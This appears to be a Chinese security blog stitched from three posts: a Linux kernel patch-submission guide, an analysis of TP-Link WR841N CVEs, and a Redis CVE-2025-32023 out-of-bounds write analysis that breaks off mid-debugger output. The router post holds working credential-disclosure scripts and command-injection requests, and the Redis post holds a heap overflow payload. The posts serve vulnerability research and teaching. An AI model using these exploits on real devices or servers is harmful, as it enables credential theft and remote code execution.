[    5.384903]  tls_sw_recvmsg+0x7ed/0x1960
[    5.384903]  ? srso_alias_return_thunk+0x5/0xfbef5
[    5.384903]  ? schedule+0x6d/0x270
[    5.384903]  ? srso_alias_return_thunk+0x5/0xfbef5
[    5.384903]  ? mutex_unlock+0x81/0xd0
[    5.384903]  ? __pfx_mutex_unlock+0x10/0x10
[    5.384903]  ? __pfx_tls_sw_recvmsg+0x10/0x10
[    5.384903]  ? _raw_spin_lock_irqsave+0x8f/0xf0
[    5.384903]  ? _raw_read_unlock_irqrestore+0x20/0x40
[    5.384903]  ? srso_alias_return_thunk+0x5/0xfbef5

这个 bug 后来被分配了 CVE-2026-22977。

分析一下崩溃

崩溃信息里说 offset 296, size 16，我们来算一下：

sizeof(struct sk_buff) = 232
offsetof(struct sk_buff, cb) = 40

sk_buff_fclones 里面：
- skb1 从 0 开始
- skb2 从 232 开始

所以 skb2.cb 的偏移 = 232 + 40 = 272
崩溃偏移 296 = 272 + 24，刚好在 sock_exterr_skb.ee 里面

这就确认了问题确实出在克隆 skb 的 cb 字段。

第一步：环境准备

克隆正确的仓库

这里点，我们不要直接克隆 Linus 的主仓库！要根据你的补丁类型选择对应的子系统仓库：

# 网络相关的 bug 修复，用这个：
git clone https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git
cd net

# 网络相关的新功能，用这个：
git clone https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net-next.git

# 其他通用的：
git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git

仓库	用途
`net.git`	当前版本的 bug 修复
`net-next.git`	下一版本的新功能
`linux.git`	通用开发

我这个是 net模块里的代码，所以应该用 net.git。

配置 Git 邮件

编辑 ~/.gitconfig：

[user]
    name = Weiming Shi
    email = bestswngs@gmail.com

[sendemail]
    smtpserver = smtp.gmail.com
    smtpserverport = 587
    smtpencryption = tls
    smtpuser = bestswngs@gmail.com

用 Gmail 的话需要去 Google 账户安全设置里生成一个应用专用密码。

为什么用 Mutt？

这里要特别说一下，千万不要用 Gmail 网页版发补丁！

Gmail 网页版会：

把纯文本转成 HTML
自动换行，直接把补丁搞坏
把 Tab 换成空格
各种编码问题

内核要求纯文本邮件，补丁要内联在邮件里（不是附件）。推荐的组合是：

git send-email 发补丁
mutt 看维护者回复

Mutt 配置 ~/.muttrc：

set realname = "Weiming Shi"
set from = "bestswngs@gmail.com"
set use_from = yes
set envelope_from = yes

set my_user = "bestswngs@gmail.com"
set my_pass = "xxxx xxxx xxxx xxxx"  # 应用专用密码

set imap_user = $my_user
set imap_pass = $my_pass
set folder = "imaps://imap.gmail.com:993"
set spoolfile = "+INBOX"

set smtp_url = "smtps://$my_user:$my_pass@smtp.gmail.com:465/"
set ssl_force_tls = yes

set postponed = "+[Gmail]/Drafts"
set record = "+[Gmail]/Sent Mail"

set header_cache = ~/.mutt/cache/headers
set message_cachedir = ~/.mutt/cache/bodies
set certificate_file = ~/.mutt/certificates

第二步：写修复代码

创建工作分支：

1	git checkout -b fix-skbuff-fclone-usercopy

修复其实很简单，把 kmem_cache_create() 换成 kmem_cache_create_usercopy()：

-net_hotdata.skbuff_fclone_cache = kmem_cache_create("skbuff_fclone_cache",
+net_hotdata.skbuff_fclone_cache = kmem_cache_create_usercopy("skbuff_fclone_cache",
 sizeof(struct sk_buff_fclones),
 0,
 SLAB_HWCACHE_ALIGN|SLAB_PANIC,
+offsetof(struct sk_buff, cb),
+sizeof(struct sk_buff) + sizeof_field(struct sk_buff, cb),
 NULL);

第三步：测试

编译：

1 2	make menuconfig # 启用 CONFIG_HARDENED_USERCOPY=y make -j$(nproc)

测试的话推荐用 virtme-ng，比手动搞 initramfs 方便太多了：

# 安装
sudo apt install qemu-system-x86 qemu-kvm
pip install virtme-ng

# 直接启动，不用 initramfs
vng --build --run

# 跑 PoC 验证
vng --build --run -- ./poc_put_cmsg

第四步：自测清单

发补丁之前一定要过一遍这个清单，我就是因为跳过了编译测试，结果收到了 kernel test robot 的构建失败邮件，很尴尬。

代码风格

1	./scripts/checkpatch.pl --strict 0001-your-patch.patch

常见问题：行太长、缩进用了空格（应该用 Tab）、行尾有空白。

多配置编译

1 2	make defconfig && make -j$(nproc) make allyesconfig && make -j$(nproc)

启动测试

1	vng --build --run

验证修复

1 2	./poc_put_cmsg dmesg \| grep -i "usercopy\\|BUG\\|panic"

打补丁前会 panic，打完应该没事了。

跑 selftests

1	make -C tools/testing/selftests/net run_tests

拼写检查

1	codespell your-patch.patch

第五步：写提交信息

这是我踩坑最多的地方。

一个合格的提交信息长这样：

net: skbuff: add usercopy region to skbuff_fclone_cache

skbuff_fclone_cache was created without defining a usercopy region,
unlike skbuff_head_cache which properly whitelists the cb[] field.
This causes a usercopy BUG() when CONFIG_HARDENED_USERCOPY is enabled...

[精简后的崩溃日志]

Fix by using kmem_cache_create_usercopy() with the same cb[] region
whitelist as skbuff_head_cache.

Fixes: 6d07d1cd300f ("usercopy: Restrict non-usercopy caches to size 0")
Reported-by: Xiang Mei 
Signed-off-by: Weiming Shi

几个要点

标题格式：子系统: 简短描述，不超过 72 字符
正文每行不超过 75 字符，这个很重要！可以用 vim 的 :set cc=75 画条线
Fixes 标签：指向引入 bug 的那个提交
Signed-off-by：你的名字和邮箱

调用栈怎么写

Eric Dumazet 给我的反馈：

“下次发调用栈之前，先跑一下 scripts/decode_stacktrace.sh 拿到有意义的符号。”

所以要先处理一下：

1	./scripts/decode_stacktrace.sh vmlinux < raw_stack_trace.txt

然后精简，不要把整个 dmesg 贴上去。删掉时间戳、寄存器 dump、模块列表，只保留错误信息和关键调用链：

usercopy: Kernel memory exposure attempt detected from SLUB object
'skbuff_fclone_cache' (offset 296, size 16)!
kernel BUG at mm/usercopy.c:102!
Call Trace:
 __check_heap_object
 __check_object_size
 put_cmsg
 sock_recv_errqueue

第六步：生成和发送补丁

生成补丁：

1	git format-patch -1 -v4 --subject-prefix="PATCH net"

-v4 表示第 4 版。

检查一下：

1	./scripts/checkpatch.pl *.patch

找维护者：

1	./scripts/get_maintainer.pl net/core/skbuff.c

发送：

git send-email \
    --to="davem@davemloft.net" \
    --to="edumazet@google.com" \
    --to="kuba@kernel.org" \
    --to="pabeni@redhat.com" \
    --cc="netdev@vger.kernel.org" \
    --cc="linux-kernel@vger.kernel.org" \
    *.patch

一个坑：security@kernel.org

Eric Dumazet 还跟我说：

“如果你已经在公开邮件列表上发了，就不要再抄送 security@kernel.org 了，没用。”

规则：

私下披露 → 抄送 security@kernel.org
已经公开 → 不要抄送

第七步：处理反馈

发完补丁会收到各种反馈：

Kernel Test Robot：自动构建测试，会告诉你编译有没有问题
维护者：代码审查
其他开发者：评论

我的 v2 就收到了 robot 的构建失败报告，因为函数参数传错了。教训就是本地一定要先编译测试。

收到反馈后：

不要在邮件里直接回复修复代码，发新版本
用 -v3、-v4 标记版本
在 --- 下面加更新日志说明改了什么

第八步：申请 CVE

等补丁合并之后再说。

根据内核 CVE 文档，未修复的问题不会分配 CVE，要等补丁进了 stable 树才行。

大多数情况下 CVE 会自动分配，内核 CVE 团队（Greg KH、Sasha Levin、Lee Jones）会审查每个进 stable 的补丁。如果他们觉得是安全问题就会自动分配 CVE，公告在 linux-cve-announce。

如果漏了，可以发邮件到 cve@kernel.org。注意这个地址只用于已合并的修复，未修复的安全问题发 security@kernel.org。

我这个补丁合并后被分配了 CVE-2026-22977。

和维护者的邮件沟通

这里要特别说一下和 Eric Dumazet（Google 的 netdev 维护者）的沟通过程。

我最开始的方案（v4）是直接给 skbuff_fclone_cache 加 usercopy region：

// v4 方案：修改 net/core/skbuff.c
kmem_cache_create_usercopy("skbuff_fclone_cache", ...,
    offsetof(struct sk_buff, cb),
    sizeof_field(struct sk_buff, cb), ...);

但 Eric 在邮件里提了另一种思路：

“use a bounce buffer for copying skb->mark”

他的意思是，与其放宽 skbuff_fclone_cache 的安全限制，不如在 sock_recv_errqueue() 里用一个栈上的临时变量做中转：

// v5 方案：修改 net/core/sock.c
struct sock_extended_err ee;
ee = SKB_EXT_ERR(skb)->ee;  // 先拷贝到栈上
put_cmsg(msg, level, type, sizeof(ee), &ee);  // 再从栈上拷贝到用户空间

这样就不用动 slab cache 的配置，安全性更好。

所以我发了 v5 用 bounce buffer 的方案，最终合并的就是这个版本。这个过程让我学到了：维护者的反馈很有价值，他们比你更了解代码的设计意图。

我踩过的坑

v1：提交信息格式全错，标题写成了 Signed-off-by:，离谱
v2：漏了 From 头，.gitconfig 没配好
v2：忘了抄送邮件列表，一定要跑 get_maintainer.pl
v3：代码写错了，偏移量算错，本地没测就发了
v4：amend 了十几次，说明提交前应该检查更仔细
调用栈没解码，被 Eric 提醒了
**不该抄送 security@**，已经公开了还抄送没意义

时间线

日期	版本	改动
12月15日	v1	初次提交，格式全错
12月16日	v2	修了提交信息
12月16日	v3	加了 From 头，修了 CC/TO
12月16日	v4	修了代码
12月24日	v5	试了另一种方案

小结

回顾一下整个流程：

下载内核源码，注意选对仓库（bug 修复用 net.git，新功能用 net-next.git）
改代码，修 bug
编译，确保没 warning
用 vng 或 QEMU 启动测试，跑 PoC 确认修复了
跑对应模块的测试，不同子系统有不同的测试工具：
- 网络：make -C tools/testing/selftests/net run_tests
- BPF：make -C tools/testing/selftests/bpf run_tests
- 内存管理：make -C tools/testing/selftests/mm run_tests
- 文件系统：make -C tools/testing/selftests/filesystems run_tests
- 通用：make kselftest TARGETS=<子系统>
跑 ./scripts/checkpatch.pl --strict 检查代码风格
写提交信息，每行 75 字符，用 :set cc=75 画线对齐
调用栈要用 ./scripts/decode_stacktrace.sh 解码，然后精简
加上 Fixes:、Reported-by:、Signed-off-by: 这些标签
git format-patch 生成补丁
./scripts/get_maintainer.pl 找维护者
git send-email 发送，不要用 Gmail 网页版
如果已经公开了，不要抄送 security@kernel.org
收到反馈就发新版本（-v2、-v3），不要在邮件里直接回复代码
等合并后 CVE 会自动分配，或者发邮件给 cve@kernel.org

最后，Eric Dumazet 在邮件里说了一句，当时看到时候还蛮开心的（

“Congratulations on your first linux contribution!”

从分析 bug 到补丁被合并（commit f9ac7befe5f1），这个过程n132可谓是手把手教我了，这里得再次感谢一下他。

参考资料

1.提交补丁文档 ↩
2.邮件客户端配置 ↩
3.内核 CVE 流程 ↩
4.Elixir Bootlin - 带超链接的内核源码浏览 ↩
5.linux-cve-announce - CVE 公告 ↩
6.我的 v2 被 robot 打回的邮件 ↩
7.Eric Dumazet 建议 bounce buffer 方案的邮件 ↩
8.https://n132.github.io/2025/07/10/How-to-patch-a-linux-kernel-bug.html ↩

TP-Link WR841N router CVE-2023-50224 and CVE-2025-9377

2025-12-27T23:52:47.000Z

TL; DR

起源是这个 Technical News and Reports about Quad 7 (7777) Botnet aka CovertNetwork-1658 的公告^[1] , 顺便想检测一下我修改的IDA-Pro-MCP Headless 是否功能正常^[3]，所以有了这次的分析

这公告里涉及了两个漏洞：

CVE-2023-50224
CVE-2025-9377

这里分析的版本是 TL-WR841N(US)_V9_150401 ^[2]

分析

CVE-2023-50224

漏洞描述：

The first vulnerability is an unauthenticated file disclosure allowing for the retrieval of credentials stored in /tmp/dropbear/dropbearpwd. These credentials were then replayed in the HTTP Basic authentication of the management interface. TP-Link has been tracking this vulnerability internally as TP-Link Vulnerability Disclosure (TPVD) 202321023 TL-WR841N. Patched firmware for the affected devices can be found here.

第一个漏洞是未经身份验证的文件泄露，允许检索存储在 /tmp/dropbear/dropbearpwd 中的凭据。然后，这些凭据会在管理界面的 HTTP 基本身份验证中重放。 TP-Link 一直在内部跟踪此漏洞，编号为 TP-Link 漏洞披露 (TPVD) 202321023 TL-WR841N。可以在此处找到受影响设备的修补固件。

漏洞分析

使用 IDA Pro MCP 一下次就分析出来了

漏洞根因（httpd 函数 0x43fb70）

第42行：httpRpmConfAdd(2, “/loginFs/“, httpRpmFs) - 注册了 /loginFs/ 路径使用 httpRpmFs 处理
第41行：httpCtrlConfAdd(“/loginFs/“, ““, ““) - 配置 /loginFs/ 允许任何人访问
httpRpmFs 函数（0x4ee738）会从 /tmp/ 目录读取文件
httpDispatcher（0x4edc24）对 httpRpmFs 处理的请求跳过认证检查
为什么需要 ./
根据测试结果，添加 ./ 可能是为了绕过某种路径匹配或规范化检查。./ 表示当前目录，但在字符串匹配层面会改变模式匹配结果。

最终 POC

#!/usr/bin/env python3
“””
CVE-2023-50224 PoC
TP-Link TL-WR841N dropbearpwd Information Disclosure

漏洞：httpd 服务的 /loginFs/ 路径配置为无需认证，
且 httpRpmFs 会从 /tmp/ 目录读取文件。
管理员凭据明文存储在 /tmp/dropbear/dropbearpwd。

关键：需要在路径中添加 “./“ 来绕过某些路径检查。
“””

import requests
import sys

def exploit(target_ip, target_port=80):
    # 关键：使用 "./" 绕过路径检查
    url = f"http://{target_ip}:{target_port}/loginFs/./dropbear/dropbearpwd"

    headers = {
        "User-Agent": "Mozilla/5.0",
        "Referer": f"http://{target_ip}:{target_port}/"
    }

    print(f"[*] CVE-2023-50224 - TP-Link TL-WR841N Credential Disclosure")
    print(f"[*] Target: {target_ip}:{target_port}")
    print(f"[+] URL: {url}")
    print()

    try:
        resp = requests.get(url, headers=headers, timeout=10)

        if resp.status_code == 200 and "username:" in resp.text:
            print("[+] SUCCESS! Credentials found:")
            print("-" * 40)
            print(resp.text)
            print("-" * 40)
            for line in resp.text.strip().split('\n'):
                if ':' in line:
                    key, val = line.split(':', 1)
                    print(f"[+] {key.capitalize()}: {val}")
        else:
            print(f"[-] Failed: {resp.text[:100]}")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    exploit(ip, port)

Bash 版本

#!/bin/bash
TARGET="${1:-192.168.0.1}"
PORT="${2:-80}"

echo "[*] CVE-2023-50224 - TP-Link TL-WR841N Credential Disclosure"
curl -s "http://${TARGET}:${PORT}/loginFs/./dropbear/dropbearpwd" \
     -H "Referer: http://${TARGET}:${PORT}/"

使用方法

curl "http://192.168.0.1/loginFs/./dropbear/dropbearpwd" \
     -H "Referer: http://192.168.0.1/"

关键点：路径必须使用 /loginFs/./dropbear/dropbearpwd（带 ./），而不是 /loginFs/dropbear/dropbearpwd。

请求后返回 hash 密码

登录的时候就使用这个 hash 登录就行

CVE-2025-9377

漏洞描述

The second vulnerability is a known Parental Control command injection RCE exploit. In this vulnerability, tampering with the url_0 parameter in the Parental Control page is used to achieve the RCE. The vulnerability is tracked as CVE-2025-9377 (https://www.cve.org/CVERecord?id=CVE-2025-9377) and TPVD202411095 internally. Patched firmware for the affected devices can be found here.

第二个漏洞是已知的家长控制命令注入 RCE 漏洞。该漏洞通过篡改家长控制页面中的url_0参数来实现RCE。该漏洞在内部被跟踪为 CVE-2025-9377 (https://www.cve.org/CVERecord?id=CVE-2025-9377) 和 TPVD202411095。可以在这里找到。

漏洞分析

这是一个位于 TP-Link WR841N 路由器 httpd 程序中的命令注入漏洞，存在于家长控制（Parental Control）功能中。

漏洞位置

函数	地址	描述
ParentCtrlRpmHandler	0x455EC8	处理 /userRpm/ParentCtrlRpm.htm 请求，解析 url_%d 参数
buildParentCtrlIptablesRule	0x4CC670	构建 iptables 规则，将 URL 拼接到命令中
refreshParentCtrlTbl	0x4CCC24	执行脚本 /tmp/wr841n/parent.sh

漏洞数据流

用户输入 (url_0 - url_7)
    ↓
ParentCtrlRpmHandler (0x455EC8:205)
  └─ sprintf(v53, "url_%d", v28)
  └─ httpGetEnv(a1, v53)           ← 获取用户输入
  └─ swChkLegalDomain(v31)         ← 验证 (可绕过)
  └─ strncpy(v27, v31, 30)         ← 存储 URL
  └─ swSetParentCtrlEntry(v75)     ← 保存到数据库
    ↓
refreshParentCtrlTbl (0x4CCC24:49)
  └─ fopen("/tmp/wr841n/parent.sh", "wt")
  └─ buildParentCtrlIptablesRule()
    ↓
buildParentCtrlIptablesRule (0x4CC670:113-118)
  └─ sprintf(&v35[v22], "-i %s -m mac --mac-source %s -p tcp --dport 80 -m multiurl --urls %s -j RETURN", ...)
    ↓                                                                          ↑
    │                                                                   URL未完全过滤
    ↓
fprintf(parentCtrlScript, "%s\n", v31)  ← 写入脚本
    ↓
execFormatCmd("sh /tmp/wr841n/parent.sh")  ← 执行脚本

关键代码片段

1. URL参数处理 (0x4564a0):

sprintf(v53, "url_%d", v28);
v29 = (char *)httpGetEnv(a1, (int)v53);
// 验证后存储
strncpy(v27, v31, 30);

命令构建 (0x4CCB44):

sprintf(&v35[v22],
    "-i %s -m mac --mac-source %s -p tcp --dport 80 -m multiurl --urls %s -j RETURN",
    LanBridgeName, v27, v33);  // v33 包含用户控制的 URL
fprintf(parentCtrlScript, "%s\n", v31);

命令执行 (0x4CCED8):
1
2
execFormatCmd("sh /tmp/wr841n/parent.sh");
// execFormatCmd → tp_systemEx → execve("/bin/sh", ["sh", "-c", cmd], 0)
验证函数 swChkLegalDomain (0x4779C8)
白名单字符：”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-><.,[]{}?/+=|\‘":;~!#$%()` &

攻击向量

攻击者可通过向 /userRpm/ParentCtrlRpm.htm 发送包含恶意 url_0 参数的请求来触发此漏洞，最终实现远程代码执行 (RCE)。

POC HTTP 请求包

GET /userRpm/ParentCtrlRpm.htm?Save=Save&child_mac=AA-BB-CC-DD-EE-FF&url_comment=test&url_0=$(reboot)&url_1=&url_2=&url_3=&url_4=&url_5=&url_6=&url_7=&enable=1&Changed=1&SelIndex=0&scheds_lists=0 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWRtaW46YWRtaW4=
Referer: http://192.168.0.1/userRpm/ParentCtrlRpm.htm
Cookie: Authorization=Basic%20YWRtaW46YWRtaW4%3D
Connection: close

GET /GXMKBVFAJEUQVDRA/userRpm/ParentCtrlRpm.htm?child_mac=12-34-56-78-87-65&lan_lists=888&url_comment=test&url_0=1+-j+RETURN;rm+/tmp/1;&url_1=website2&url_2=website3&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=0&SelIndex=1&Page=1&rule_mode=0&Save=Save HTTP/1.1
Host: 192.168.113.130:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.113.130:8080/APZJDUJBAXCTZZYB/userRpm/ParentCtrlRpm.htm?Add=Add&Page=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Connection: close

补丁链接

https://www.omadanetworks.com/uy/support/faq/4308/
https://www.tp-link.com/us/support/faq/4308/#:~:text=https%3A//static.tp%2Dlink.com/upload/firmware/

Reference link

1.https://www.tp-link.com/us/support/faq/4365/ ↩
2.https://github.com/winmin/ida-pro-mcp ↩
3.https://www.tp-link.com/us/support/download/tl-wr841n/v9/#Firmware ↩

CVE-2025-32023 Redis 漏洞分析

2025-07-07T19:32:43.000Z

TL; DR

漏洞分析版本： commit a0a6f23d997b024689ba157916837f493a593a34 (HEAD, tag: 7.4.2)

该漏洞是 PlaidCTF 2025 “Zerodeo” 题目。

CVE-2025-32023

Redis 在调用 pfmerge 命令的时候会调用 hyperloglog.c 里的 void pfmergeCommand(client *c) 函数

pfmerge ^[1] 的作用是将多个 HLL 的数据合并到一个目标 key 中，是用来合并多个 HypeLogLog （HLL）数据。对格式错误的 HLL 进行操作时，可能会使 int i 中计数的总长度溢出为负值。这允许攻击者覆盖 HLL 结构上的负偏移量，从而导致栈/堆上的越界写。 (eg: hllMerge() 函数中会发生栈越界， hllSparseToDense() 发生堆越界写）

漏洞原理

/* PFMERGE dest src1 src2 src3 ... srcN => OK */
void pfmergeCommand(client *c) {
    uint8_t max[HLL_REGISTERS];
    struct hllhdr *hdr;
    int j;
    int use_dense = 0; /* Use dense representation as target? */

    /* Compute an HLL with M[i] = MAX(M[i]_j).
     * We store the maximum into the max array of registers. We'll write
     * it to the target variable later. */
    memset(max,0,sizeof(max));
    for (j = 1; j < c->argc; j++) {
...
        /* Merge with this HLL with our 'max' HLL by setting max[i]
         * to MAX(max[i],hll[i]). */
        if (hllMerge(max,o) == C_ERR) { // hllMerge [1] stack oob write
...
        }
    }


    /* Convert the destination object to dense representation if at least
     * one of the inputs was dense. */
    if (use_dense && hllSparseToDense(o) == C_ERR) { // hllSparseToDense [2] heap oob write
...
    }

...
}

在 hllSparseToDense 函数中会造成堆相关的越界写，作者的漏洞利用也是用的这个漏洞原语。

int hllSparseToDense(robj *o) {
    sds sparse = o->ptr, dense;
    struct hllhdr *hdr, *oldhdr = (struct hllhdr*)sparse;
    int idx = 0, runlen, regval;
    uint8_t *p = (uint8_t*)sparse, *end = p+sdslen(sparse);

    /* If the representation is already the right one return ASAP. */
    hdr = (struct hllhdr*) sparse;
    if (hdr->encoding == HLL_DENSE) return C_OK;

    /* Create a string of the right size filled with zero bytes.
     * Note that the cached cardinality is set to 0 as a side effect
     * that is exactly the cardinality of an empty HLL. */
    dense = sdsnewlen(NULL,HLL_DENSE_SIZE);
    hdr = (struct hllhdr*) dense;
    *hdr = *oldhdr; /* This will copy the magic and cached cardinality. */
    hdr->encoding = HLL_DENSE;

    /* Now read the sparse representation and set non-zero registers
     * accordingly. */
    p += HLL_HDR_SIZE;
    while(p < end) {
        if (HLL_SPARSE_IS_ZERO(p)) {
            runlen = HLL_SPARSE_ZERO_LEN(p);
            idx += runlen;
            p++;
        } else if (HLL_SPARSE_IS_XZERO(p)) {
            runlen = HLL_SPARSE_XZERO_LEN(p);
            idx += runlen;
            p += 2;
        } else {
            runlen = HLL_SPARSE_VAL_LEN(p);
            regval = HLL_SPARSE_VAL_VALUE(p);
            if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */
            while(runlen--) {
                HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);
                idx++;
            }
            p++;
        }
    }

    /* If the sparse representation was valid, we expect to find idx
     * set to HLL_REGISTERS. */
    if (idx != HLL_REGISTERS) {
        sdsfree(dense);
        return C_ERR;
    }

    /* Free the old representation and set the new one. */
    sdsfree(o->ptr);
    o->ptr = dense;
    return C_OK;
}

while 循环之前是对 HLL 数据的的部分 header 解析，之后是一个转换过程。 HLL 数据是一种 SDS ^[2]字符串的表示。我们可以用 set 命令来伪造一个 HLL 数据。

while 循环过程中，是将 HLL 的数据从 sparse 转换成 dense。在转换过程中：

while(p < end) {
    if (HLL_SPARSE_IS_ZERO(p)) {
        runlen = HLL_SPARSE_ZERO_LEN(p);
        idx += runlen;
        p++;
    } else if (HLL_SPARSE_IS_XZERO(p)) {
        runlen = HLL_SPARSE_XZERO_LEN(p);
        idx += runlen;
        p += 2;
    } else {
        runlen = HLL_SPARSE_VAL_LEN(p);
        regval = HLL_SPARSE_VAL_VALUE(p);
        if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */
        while(runlen--) {
            HLL_DENSE_SET_REGISTER(hdr->registers,idx,regval);
            idx++;
        }
        p++;
    }
}

如果当前的数据既不是 HLL_SPARSE_IS_ZERO 也不是 HLL_SPARSE_IS_XZERO 会进入到 HLL_DENSE_SET_REGISTER 函数，在进到 HLL_DENSE_SET_REGISTER 函数之前有一个判断这个 idx 是否越界。

1	if ((runlen + idx) > HLL_REGISTERS) break; /* Overflow. */

runlen 和 idx 都是一个 int 类型的变量，，而 idx 的值可以在 HLL_SPARSE_IS_ZERO 或者 HLL_SPARSE_IS_ZERO 条件下语句中累加而成。

我们可以通过构造 HLL 数据，让 idx 不断累加成一个负数。

然后在 HLL_DENSE_SET_REGISTER 函数中就会发生越界

#define HLL_DENSE_SET_REGISTER(p,regnum,val) do { \
    uint8_t *_p = (uint8_t*) p; \
    unsigned long _byte = (regnum)*HLL_BITS/8; \
    unsigned long _fb = (regnum)*HLL_BITS&7; \
    unsigned long _fb8 = 8 - _fb; \
    unsigned long _v = (val); \
    _p[_byte] &= ~(HLL_REGISTER_MAX << _fb); \
    _p[_byte] |= _v << _fb; \
    _p[_byte+1] &= ~(HLL_REGISTER_MAX >> _fb8); \
    _p[_byte+1] |= _v >> _fb8; \
} while(0)

PoC 构造

构造越界 payload

HLL 结构大致如下：


// 1. HLL 总体结构
struct hllhdr {
    char magic[4];      /* "HYLL" */
    uint8_t encoding;   /* HLL_DENSE or HLL_SPARSE. */
    uint8_t notused[3]; /* Reserved for future use, must be zero. */
    uint8_t card[8];    /* Cached cardinality, little endian. */
    uint8_t registers[]; /* Data bytes. */
};

#define HLL_P 14 /* The greater is P, the smaller the error. */
#define HLL_REGISTERS (1</* With P=14, 16384 registers. */
#define HLL_DENSE_SIZE (HLL_HDR_SIZE+((HLL_REGISTERS*HLL_BITS+7)/8))

  +---------+----------+-----------+--------+-----------
  | "HYLL"  | encoding |  noused   | card   | registers
  +---------+----------+--------------------+-----------
   4字节      1字节        3字节       8字节    12288字节

稀疏（Sparse）编码

1
2
3

+---------+----------+---------+---------+-------------------+
| "HYLL"  |  0x01    | 保留3字节 | 保留8字节 | 指令流（2字节/条） |
+---------+----------+---------+---------+-------------------+

从作者的exploit^[3]可以看到，作者通过构造如下的 HLL sparse 让在代码在转换的时候能计算出来一个负数的idx

pl = b'HYLL'·
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x3fffd   # -0xc000
pl += xzero(0xc000 - 0x956c)    # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
pl += p8(0b1_00011_00)          # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
pl += xzero(0x156b)             # -0x8000
pl += xzero(0x4000) * 3         # 0x4000
time.sleep(1)
r.set('hll:expp', pl)

可以看到有一段 xzero(0x4000) * 0x3fffd 的数据，可以通过这样数据，就构造 0x3fffd 轮次的 0x4000 idx 累加，在加上后面的 pl += xzero(0xc000 - 0x956c) 数据，最后就能构造一个负数的 idx

寻找越界写目标

在单次下，我们可以从 registers 往前越界写任意（可构造）偏移一个字节。作者的思路是在 HLL 结构前面构造 sds 结构，然后修改 sds 结构的 len 来进行类型混淆。

sds 有几种不同的类型，其取长度的方式也不一样·

static inline size_t sdslen(const sds s) {
    unsigned char flags = s[-1];
    switch(flags&SDS_TYPE_MASK) {
        case SDS_TYPE_5:
            return SDS_TYPE_5_LEN(flags);
        case SDS_TYPE_8:
            return SDS_HDR(8,s)->len;
        case SDS_TYPE_16:
            return SDS_HDR(16,s)->len;
        case SDS_TYPE_32:
            return SDS_HDR(32,s)->len;
        case SDS_TYPE_64:
            return SDS_HDR(64,s)->len;
    }
    return 0;
}

例如正常情况下，我们使用 setrange 长度为0x37fa-8长度，此时长度小于 65535 , 根据函数sdsReqType 创建出来的 sds 数据，其 flags 位置应该是 2 （SDS_TYPE_16）


//func sdsnewlen()-> _sdsnewlen() ->

static inline char sdsReqType(size_t string_size) {
    if (string_size < 1<<5)
        return SDS_TYPE_5;
    if (string_size < 1<<8)
        return SDS_TYPE_8;
    if (string_size < 1<<16)
        return SDS_TYPE_16;
#if (LONG_MAX == LLONG_MAX)
    if (string_size < 1ll<<32)
        return SDS_TYPE_32;
    return SDS_TYPE_64;
#else
    return SDS_TYPE_32;
#endif
}

然后在 _sdsnewlen 函数中完成对 sds 结构的初始化

sds _sdsnewlen(const void *init, size_t initlen, int trymalloc) {
    char type = sdsReqType(initlen);
    /* Empty strings are usually created in order to append. Use type 8
     * since type 5 is not good at this. */
    if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
    int hdrlen = sdsHdrSize(type);
    unsigned char *fp; /* flags pointer. */
    size_t usable;
    ...
    s = (char*)sh+hdrlen;
    fp = ((unsigned char*)s)-1;
    ...
switch(type) {
        case SDS_TYPE_5: {
            *fp = type | (initlen << SDS_TYPE_BITS);
            break;
        }
        case SDS_TYPE_8: {
            SDS_HDR_VAR(8,s);
            sh->len = initlen;
            sh->alloc = usable;
            *fp = type;
            break;
        }
        case SDS_TYPE_16: {
            SDS_HDR_VAR(16,s);
            sh->len = initlen;
            sh->alloc = usable;
            *fp = type;
            break;
        }
        case SDS_TYPE_32: {
            SDS_HDR_VAR(32,s);
            sh->len = initlen;
            sh->alloc = usable;
            *fp = type;
            break;
        }
        case SDS_TYPE_64: {
            SDS_HDR_VAR(64,s);
            sh->len = initlen;
            sh->alloc = usable;
            *fp = type;
            break;
        }
    }
    if (initlen && init)
        memcpy(s, init, initlen);
    s[initlen] = '\0';
    return s;

在内存中可以看到

pwndbg> p/x 0x8c & 0x3
$106 = 0x0
pwndbg> p idx
$107 = -38252
pwndbg> p idx*6/8
$108 = -28689
pwndbg> p hdr->registers
$109 = 0x7ffff797d015 ""
pwndbg>
pwndbg> x/20bx 0x7ffff7976000
0x7ffff7976000: 0xfa    0x37    0xfa    0x37    0x02    0x00    0x00    0x00
0x7ffff7976008: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7ffff7976010: 0x00    0x00    0x00    0x00

pwndbg> x/20bx  0x7ffff7976000+0x37fa-8
0x7ffff79797f2: 0x00    0x00    0x00    0x00    0x00    0x42    0x42    0x42
0x7ffff79797fa: 0x42    0x42    0x42    0x42    0x42    0x00    0xfa    0x37
0x7ffff7979802: 0xfa    0x37    0x02    0x00
pwndbg>
pwndbg> p/x *(struct sdshdr16 *)0x7ffff7976000
$104 = {
